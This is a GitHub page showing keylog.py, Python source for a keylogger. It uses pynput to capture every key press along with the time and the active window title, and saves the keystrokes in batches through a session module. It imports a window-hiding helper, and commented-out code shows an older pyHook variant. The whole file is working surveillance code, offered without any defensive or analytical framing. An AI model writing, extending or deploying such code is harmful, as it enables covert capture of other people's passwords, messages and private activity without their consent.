-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathkeylog.py
69 lines (62 loc) · 2.38 KB
/
keylog.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import data
import session
import pynput.keyboard as keyb
from hidewindow import Title as t
class StartKeyLog:
winname = data.Initialize.winName
keylst = data.Initialize.keyLst
keycount = data.Initialize.keycount
def press(self, key):
try:
self.keycount += 1
window = t()
keyent = {'time': data.Date.time, 'window': window.title(), 'key': key.char}
if not self.winname:
self.winname = window.title()
if self.winname != window.title() or self.keycount >= data.Initialize.wrt:
# writeSession(keyLst)
store = session.Write()
store.store(lst=self.keylst)
self.keycount = 0
self.keylst = []
self.winname = window.title()
self.keylst.append(keyent)
except AttributeError:
self.keycount += 1
window = t()
keyent = {'time': data.Date.time, 'window': window.title(), 'key': key}
if not self.winname:
self.winname = window.title()
if self.winname != window.title() or self.keycount >= data.Initialize.wrt:
# writeSession(keyLst)
store = session.Write()
store.store(lst=self.keylst)
self.keycount = 0
self.keylst = []
self.winname = window.title()
self.keylst.append(keyent)
# def on_keyboard_event(self, event):
# self.keycount += 1
# keyent = {'time': data.Date.time, 'window': event.WindowName, 'key': event.Key}
# if not self.winname:
# self.winname = event.WindowName
# if self.winname != event.WindowName or self.keycount >= data.Initialize.wrt:
# # writeSession(keyLst)
# store = session.Write()
# store.store(lst=self.keylst)
# self.keycount = 0
# self.keylst = []
# self.winname = event.WindowName
# self.keylst.append(keyent)
# return True
def start(self):
# hook = pyHook.HookManager()
# hook.KeyDown = self.on_keyboard_event
# hook.HookKeyboard()
# pythoncom.PumpMessages()
keyblistener = keyb.Listener(on_press=self.press)
with keyblistener:
keyblistener.join()
class StopKeyLog:
def stop(self):
keyb.Listener.stop()